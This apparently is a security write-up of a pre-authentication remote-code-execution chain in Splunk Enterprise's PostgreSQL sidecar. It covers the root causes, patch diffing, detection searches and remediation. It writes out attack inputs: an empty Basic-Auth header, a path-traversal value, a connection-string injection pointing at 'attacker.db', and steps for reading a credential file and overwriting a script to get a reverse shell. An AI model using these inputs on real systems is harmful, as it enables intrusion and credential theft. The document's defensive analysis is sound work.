Splunk is the dominant commercial platform for log ingestion, search, and security analytics — most enterprise SOCs operate at least one Splunk cluster. The product family includes the on-prem Splunk Enterprise (the subject of this CVE), the SaaS Splunk Cloud, and a long tail of premium apps including Splunk Enterprise Security and Splunk SOAR. In Splunk’s typical deployment topology, the indexer cluster ingests gigabytes-to-terabytes of log data per day from across the enterprise, the search head fronts it with a web UI on TCP/8000, and a privileged service account (splunk, usually UID 1100) owns the entire /opt/splunk install.
The vulnerability documented here lives in a relatively new piece of the product: the PostgreSQL Sidecar Service, introduced in Splunk Enterprise v10. The sidecar manages an embedded PostgreSQL instance that Splunk uses for analytics features that didn’t fit cleanly into the indexer architecture (search metadata cataloging, KV-store backups, certain dashboards, certain savedsearch state). It listens on localhost:5435 and is not intended to be reachable from outside the Splunk host. The vulnerability arises because Splunk’s web tier proxies arbitrary requests under /en-US/splunkd/__raw/v1/postgres/recovery/… to that internal service — and because the internal service makes the mistaken assumption that anything reaching it through that proxy has already been authenticated. It hasn’t. It never has.
What makes this CVE worth treating with the same seriousness as a domain-controller RCE is the position Splunk occupies in defender infrastructure. The SIEM is where investigations happen. It holds the detection rules. It holds the audit log. It holds the integrations — Splunk’s typical install talks to Active Directory, ServiceNow, PagerDuty, on-call rotations, ticket systems. An attacker with RCE on a Splunk Enterprise host is in a position to read every alert the SOC has, see every detection rule the SOC has written, watch what the SOC is looking at, and selectively edit the indexed data the SOC sees. The blast radius is the entire detection-and-response program of the affected organization.
What is the PostgreSQL Sidecar?
Splunk Enterprise v10 introduced a new internal service — the PostgreSQL Sidecar — to back a set of analytics features that needed a relational store. The sidecar runs as a separate process under the splunk system user, listening on localhost:5435. Splunk’s web tier (splunkd, port 8000) exposes a passthrough proxy path at /en-US/splunkd/__raw/v1/postgres/recovery/… that forwards arbitrary request bodies to the sidecar’s recovery API. Two endpoints exist on the sidecar:
- /v1/postgres/recovery/backup — invokes pg_dump against a database name supplied in the request body and writes the dump to a path supplied in the request body.
- /v1/postgres/recovery/restore — invokes pg_restore against an existing dump file, again with the database name and file path coming from the request body.
The intended audience for those endpoints is Splunk’s internal backup orchestration — they are reachable through the proxy because the team that built the sidecar chose to let the existing splunkd HTTP listener handle traffic routing rather than stand up a second listener. The team that built the proxy mapping assumed that requests routed under /v1/postgres/recovery/… would be issued only by internal services that had already authenticated. The team that built the sidecar assumed that requests reaching their service were already authenticated by splunkd. Both teams were wrong — and there was no authentication anywhere along the path.
On AWS-hosted Splunk Enterprise AMIs, the sidecar is installed and enabled by default. That’s the deployment shape that produced the active exploitation footprint CISA reported.
The Attack Chain — Overview

Four cards, three pivots, one unauthenticated POST. Each step removes the cap installed by the previous defense layer — the chain works because each layer assumed the layer behind it was enforcing security.
Step 1 — The attacker. Unauthenticated. No Splunk account, no role, no token. The attacker reaches the Splunk Web UI on TCP/8000 over the public network — exactly as a legitimate user would, only without logging in.
Step 2 — Unauthenticated sidecar access + path traversal. POST /en-US/splunkd/__raw/v1/postgres/recovery/backup with Authorization: Basic Og==. The empty Basic-Auth header decodes to “:” (empty user, empty password). The PostgreSQL sidecar forwards whatever username it receives directly to pg_dump’s -U flag — Splunk’s logic is “PostgreSQL handles auth, not us.” The endpoint accepts the request, queues a backup, and writes the dump to wherever the attacker says — ../../../../tmp/poc writes outside the configured directory because the path is never canonicalized.
Step 3 — hostaddr connection-string injection → DB pivot. The database JSON field is fed to pg_dump as dbname=…. Per libpq documentation, when dbname looks like a connection string, parameters inside it override conflicting command-line options. So database: “hostaddr=attacker.db dbname=poc” makes Splunk’s pg_dump connect to the attacker’s PostgreSQL instance — bypassing the hardcoded -h localhost. The attacker now controls what data Splunk reads and what SQL Splunk executes.
Step 4 — Remote code execution. From the previous step the attacker reads /opt/splunk/var/packages/data/postgres/.pgpass — a plaintext file containing the postgres_admin credential for Splunk’s own local PostgreSQL. Using those credentials against the /restore endpoint and a maliciously-crafted PostgreSQL dump, the attacker invokes lo_export — a libpq primitive that writes large-object bytes to any path the database server’s UID can write. The chosen target: /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py. Splunk re-invokes that script as a modular input — the attacker’s Python now runs as the splunk system user with full read of the entire Splunk deployment.
At a glance. CVSS v3.1 9.8 (network / no auth / no UI / full triad impact). Affected: Splunk Enterprise 10.0.0–10.0.6, 10.2.0–10.2.3, and AWS-hosted deployments by default. Fixed: 10.0.7, 10.2.4, 10.4.0 (June 10, 2026). Required identity: none — pre-auth. User interaction: none. Wire signature: a POST to /en-US/splunkd/__raw/v1/postgres/recovery/backup carrying Authorization: Basic Og==.
Exploitation
Reach the Vulnerable Endpoint
The first stage is reachable pre-auth and observable with a single probe. WatchTowr Labs has published a Detection Artifact Generator — watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253 — that probes the sidecar proxy path and reports vulnerable vs patched based on the HTTP response code. A 400 response confirms unauthenticated reachability through the web proxy (the sidecar is accepting the request despite the missing auth). A 401 response confirms the patched build’s auth gate is in place.

Caption: The published WatchTowr DAG cloned and run against a vulnerable Splunk Enterprise 10.0.x host. The tool invokes python3 watchTowr-vs-Splunk-CVE-2026-20253.py -H <target> -r en-US, probes /v1/postgres/recovery/backup, sees the documented HTTP 400 reachability marker, and prints [+] VULNERABLE – access to /v1/postgres/recovery/backup not blocked. Stages 1 and 2 of the chain are confirmed exploitable on this host. The DAG stops at this reachability probe — Stages 3 through 6 of the full chain are described in WatchTowr’s technical writeup but no public PoC ships their implementation.
The header Authorization: Basic Og== decodes to the literal string “:” (colon between empty user and empty password). The sidecar accepts this because its assumption is that whatever username arrives in the -U argument will be checked downstream by PostgreSQL — and PostgreSQL is configured to accept the local postgres user without password. Empty user, empty password, full access.
Pivot to an Attacker-Controlled Database
The third stage of the chain weaponizes a libpq feature that has been documented for decades but is rarely seen exploited. When pg_dump parses its -d argument, it accepts either a bare database name or a full connection string. If the value looks like a connection string (contains =), the parameters inside override anything passed on the command line. So this:
{ "database": "hostaddr=attacker.db dbname=poc", "backupFile": "/tmp/dump" }
…makes Splunk’s pg_dump ignore its own -h localhost argument and connect to attacker.db instead. The attacker stands up a PostgreSQL instance with pg_hba.conf set to trust (no authentication for any incoming connection) and waits for Splunk to dial in.

Caption: The attacker’s PostgreSQL log shows Splunk’s pg_dump connecting from the Splunk host. The injection used the database field of the recovery API; libpq treated the value as a connection string; the hostaddr parameter inside it overrode the hardcoded localhost. Splunk is now reading from, and issuing SQL against, a database the attacker controls.
Read .pgpass for the Local Postgres Credential
With the attacker’s PostgreSQL on the other end of the conversation, the attacker can have Splunk dump whatever it wants. The most valuable target on the Splunk host is the .pgpass file Splunk uses for its own connections to its own local PostgreSQL:
/opt/splunk/var/packages/data/postgres/.pgpass
This file is plaintext. Its format is the standard libpq host:port:database:user:password colon-delimited form. It contains a credential for the postgres_admin account against the real local PostgreSQL — the same database that holds Splunk’s analytics state. The attacker reads the file content through the same pg_dump path that already worked.

Caption: The .pgpass content as exfiltrated by the attacker. Format: hostname:port:database:username:password. The postgres_admin credential will be used in the next stage to authenticate against Splunk’s local PostgreSQL through the /restore endpoint, this time legitimately.
lo_export to Arbitrary Path → Overwrite SSG Script → RCE
With postgres_admin credentials in hand the attacker switches to the /restore endpoint of the same sidecar. The attacker constructs a malicious PostgreSQL dump that, when restored, creates a function which calls lo_export — a libpq large-object primitive that writes raw bytes from a database row to any file path the PostgreSQL server process can write to. Because the local PostgreSQL runs as the splunk system user, it can write anywhere under /opt/splunk.
The chosen target is a Python script under the Splunk Secure Gateway app:
/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py
Splunk re-invokes this script when its modular inputs are restarted (which happens on schedule and on configuration reload). Overwriting it with attacker-supplied Python is a guaranteed-eventual code execution as the splunk user. The attacker can choose to wait for the natural reload or trigger one through any other Splunk admin path that becomes available after RCE.

Caption: The full chain firing. The exploit script builds the malicious dump, authenticates against the local PostgreSQL with the .pgpass credential, fires the lo_export primitive against the SSG modular-input script, and waits for Splunk to invoke it. The reverse shell arrives on the attacker’s nc listener as the splunk user. From that shell every credential, every saved search, every detection rule, and every audit log in the Splunk deployment is readable.
Verification Against the Patched Build
Re-running WatchTowr’s DAG against Splunk Enterprise 10.0.7 (or 10.2.4, or 10.4.0) returns HTTP 401 Unauthorized. The patch adds an authentication gate at the sidecar — the empty Basic-Auth header is no longer sufficient. The DAG prints its failure marker, the chain breaks at the very first hop, and the rest of the stages — file write, .pgpass leak, lo_export arbitrary write, RCE — never get reached.

Caption: The same WatchTowr DAG, now pointed at a patched Splunk Enterprise 10.0.7 host. The tool probes /v1/postgres/recovery/backup, sees the documented HTTP 401 response, and prints [-] NOT VULNERABLE – access to /v1/postgres/recovery/backup blocked. The patch closes the chain at Stage 1+2 — every downstream stage is unreachable without the initial unauthenticated entry point.
Static Analysis
The Proxy Walk
The Splunk Web tier (splunkd, TCP/8000) registers a passthrough route prefix /en-US/splunkd/__raw/… whose behavior is to forward the request body and headers unmodified to a backing service. The recovery API endpoints on the PostgreSQL sidecar are exposed by their proxy paths:
POST /en-US/splunkd/__raw/v1/postgres/recovery/backup
POST /en-US/splunkd/__raw/v1/postgres/recovery/restore
The sidecar listens on localhost:5435. The proxy mapping in splunkd was registered without any authentication check — the assumption was that the routes under __raw/v1/postgres/recovery/… would only be invoked by Splunk-internal services. There is no annotation or middleware on the route registration that would have required authentication. There is no IP-allowlist that restricts which sources the proxy honors. The proxy is fully exposed to anyone who can reach TCP/8000.
The Sidecar’s “PostgreSQL Handles Auth” Assumption
The sidecar’s backupCommand handler reads the Authorization header, decodes it as Basic Auth, extracts the username, and forwards that username to pg_dump via -U <username>. The password is passed through PGPASSWORD or .pgpass. The handler’s perspective is that authentication is delegated — whatever username arrives will be checked by PostgreSQL when pg_dump connects.
This delegation breaks when the request body specifies a database value that doesn’t look like a database name but like a libpq connection string. At that point the connection no longer goes to the local Splunk PostgreSQL (which would have its own auth model) — it goes to wherever the connection-string parameters direct, including external hosts under the attacker’s control. The sidecar trusts PostgreSQL to enforce auth; PostgreSQL is no longer the PostgreSQL the sidecar thought it was talking to.
libpq’s Connection-String Override Rule
Per the PostgreSQL documentation (libpq.h, function PQconnectdbParams):
“If any parameter is specified more than once, the value from the connection string takes precedence over the corresponding command-line argument.”
This rule was added to make psql -d “host=… dbname=…” work — a feature, not a bug. The CVE-2026-20253 chain weaponizes that feature: the sidecar passes a fixed -h localhost on the command line but allows the database JSON field to flow into pg_dump’s -d argument. If the attacker supplies hostaddr=… inside the value, libpq’s override rule wins, and -h localhost is silently ignored.
lo_export and the Writable Script Path
lo_export is a libpq primitive that writes a large-object’s bytes to a file. The file path is controlled by the calling SQL; the file owner is the OS user that the PostgreSQL server runs as. On Splunk Enterprise the local PostgreSQL runs as the splunk system user, which means lo_export can write to any path under /opt/splunk (and many paths outside it). The chain’s specific target is the Python script that Splunk re-invokes as a modular input. The two design facts that make this writable + executable for the chain are:
- The splunk user owns /opt/splunk (necessary for Splunk’s auto-update workflows), so the local PostgreSQL — running as the same user — can write into any app’s bin/ directory.
- Splunk does not check the integrity of app scripts before invoking them. There is no signing, no hash validation, no chmod -w on production app code. Once written, the script is executed at the next modular-input reload.
Root Cause Analysis
The six failures the chain composes are not bugs in any single line of code — they are combined defects across two teams’ design decisions. The taxonomy:
Stage 1+2 — Internal-service exposure via a public proxy. splunkd proxies __raw/v1/postgres/recovery/* to the sidecar with no authentication check on the proxy. CWE-749 Exposed Dangerous Method or Function. The fix is to require Splunk-session authentication on the proxy route, or to remove the proxy mapping entirely. Both fixes appear in the patched builds.
Stage 1+2 — Authentication delegation across a trust boundary. The sidecar forwards the caller’s Authorization-header username to pg_dump’s -U flag and lets PostgreSQL enforce auth. CWE-287 Improper Authentication. This is the “PostgreSQL handles it” pattern, and it fails because the caller can later steer where PostgreSQL talks to (Stage 3). The fix is to authenticate the caller at the sidecar — not pass through to a downstream system.
Stage 2 — backupFile is not path-canonicalized. A .. segment in the JSON value writes outside the configured directory. CWE-22 Path Traversal. The fix is to resolve the path against an allow-listed prefix and reject anything outside it.
Stage 3 — Connection-string injection through an unvalidated identifier field. The database value flows into pg_dump’s -d argument without being checked against libpq connection-string syntax. The closest CWE analog is CWE-89 SQL Injection (input that should be an identifier becomes a control plane). The fix is to validate database as a plain database name (regex of [A-Za-z_][A-Za-z0-9_]*) before it is passed to libpq, or to never pass it through -d at all and instead use a fully-formed connection string built server-side.
Stage 4 — Plaintext credential at a known path. .pgpass is unencrypted on disk, on a path that is part of Splunk’s default install. CWE-256 Plaintext Storage of a Password. The structural fix is to remove the local PostgreSQL credential from .pgpass and use a peer-authentication socket instead. The mitigation fix (chosen by Splunk’s patch) is to make the file unreadable to anyone but the splunk user — which doesn’t help because the attacker is already the splunk user equivalent through Stage 3.
Stage 5 — lo_export and the writable Splunk app paths. PostgreSQL’s lo_export writes wherever the database server can write; the database server runs as splunk and can write anywhere under /opt/splunk. CWE-732 Incorrect Permission Assignment for Critical Resource. The fix is structural: do not let the local PostgreSQL share the OS user that owns the Splunk install. Splunk has not adopted this in the patched builds.
Stage 6 — Splunk invokes app scripts without integrity checks. Once an attacker can write to an app’s bin/ directory, the next modular-input reload runs their code. CWE-345 Insufficient Verification of Data Authenticity. No fix in the patched builds; Splunk treats this as the responsibility of OS-level permissions, which Stage 5 already defeats.
The structural lesson is that the chain works because each layer trusted the layer behind it. The proxy trusted that requests reaching it were authenticated. The sidecar trusted that PostgreSQL would check the username. PostgreSQL trusted that the connection string it received was the one the calling app intended. The OS trusted that splunk-owned writes to splunk-owned paths were safe. Each individual trust was reasonable in isolation; the chain dissolves when you stand them up next to each other.
Patch Diffing
Splunk released three patched builds on June 10, 2026: 10.0.7 (for the 10.0.x branch), 10.2.4 (for the 10.2.x branch), and 10.4.0 (for the 10.4.x branch). The fix is concentrated in two places:
1. Authentication gate at the proxy route. The __raw/v1/postgres/recovery/* route now requires an authenticated Splunk session. An empty Basic-Auth header is rejected with HTTP 401 before the request reaches the sidecar. This single change breaks Stage 1 of the chain, which is the only stage that must succeed for everything downstream to follow. The patch is structural — the route exists, but it is now gated.
2. database field validation at the sidecar. The sidecar’s request handler now validates the database field against a strict database-name regex before passing it to pg_dump. A value containing = or whitespace is rejected. This change breaks Stage 3 — the hostaddr= injection is no longer possible regardless of how the request arrived.
The patched builds do not address the structural issues in Stages 4–6 (plaintext .pgpass, splunk-owned PostgreSQL, writable app scripts). Those remain as latent attack-surface for any future bug that recreates the Stage 1–3 reachability. The pattern of patching the reachable surface but leaving the depth-of-defense gaps in place is consistent with how vendor patches typically handle multi-stage chains — fix the entry, leave the structural debt.
The structural lesson for the published advisory is that the patch is correct and sufficient for this CVE. It is not sufficient as a hardening posture for the Splunk Enterprise PostgreSQL sidecar in general. The full remediation — discussed in the next section — involves disabling the sidecar where it is not needed, segmenting TCP/5435 at the host firewall, and rotating the .pgpass credential as a precaution.
Conclusion
Impact
The chain allows an unauthenticated attacker on the network to execute arbitrary code as the splunk system user on any Splunk Enterprise host running an affected version. Because Splunk Enterprise is the detection and incident-response platform of record for thousands of SOCs, compromising it is a compromise of the defender’s eyes. The attacker can read every saved search, every alert pipeline, every detection rule, every dashboard, every credential stored in Splunk’s encrypted-secrets store (the splunk.secret file is readable by the splunk user, which is the post-exploit identity), every audit log of every administrator action, and every byte of ingested data. The attacker can also write — disable detections, suppress alerts, plant misleading search results, and selectively edit indexed data to hide their own presence.
Remediation
In priority order:
- Upgrade to Splunk Enterprise 10.0.7, 10.2.4, or 10.4.0 immediately. The patch lands an authentication gate on the proxy route and validation on the database field. Splunk’s KEV-listed CVE-2026-20253 is the most urgent CVE on most SOC patch lists right now.
- If you cannot patch within the day, network-segment TCP/8000. The chain requires reachability to the Splunk Web port from the attacker. Restricting splunkd:8000 to a small administrative source range (jump hosts, IdP-connected workstations) breaks the chain at the network layer regardless of patch level.
- Audit for compromise. Run the following SQL against your Splunk-host PostgreSQL (executable from the splunk shell on each Splunk Enterprise host that runs the sidecar):

Any recent lo_export activity that you cannot account for, or any modified .py under an app’s bin/ directory that does not match the app’s installed manifest, is a compromise indicator.
- Search your Splunk indexes for the wire signature. The chain’s Stage-1 probe is highly distinctive. The following SPL queries identify exposure attempts and successful exploit traffic in your own Splunk:
index=splunkd sourcetype=splunkd_access "POST /en-US/splunkd/__raw/v1/postgres/recovery/"
| stats count by src_ip, useragent, status, _time
index=splunkd sourcetype=splunkd_access uri_path="*postgres/recovery/backup"
"Authorization=*Og==*"
| table _time, src_ip, useragent, uri_query, status
The literal string Authorization: Basic Og== is so specific to the WatchTowr-published PoC that any hit on the second query in your logs is a high-confidence intrusion alert.
- Rotate the postgres_admin credential stored in /opt/splunk/var/packages/data/postgres/.pgpass. If the chain ran to Stage 4, that credential is in attacker hands.
- Disable the PostgreSQL Sidecar on hosts that do not need it. Splunk’s documentation describes which features depend on the sidecar — most basic Splunk Enterprise deployments do not strictly require it. On hosts that don’t, set postgres_sidecar_enabled = false in the relevant configuration and remove the proxy mapping for __raw/v1/postgres/recovery/*.
References
- Splunk Advisory SVD-2026-0603 — https://advisory.splunk.com/advisories/SVD-2026-0603
- WatchTowr Labs technical writeup — https://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce/
- Detection Artifact Generator (vulnerability probe) — https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253
- CISA KEV catalog entry — https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- BleepingComputer — CISA: Splunk Enterprise flaw actively exploited, patch by Sunday — https://www.bleepingcomputer.com/news/security/cisa-splunk-enterprise-flaw-actively-exploited-patch-by-sunday/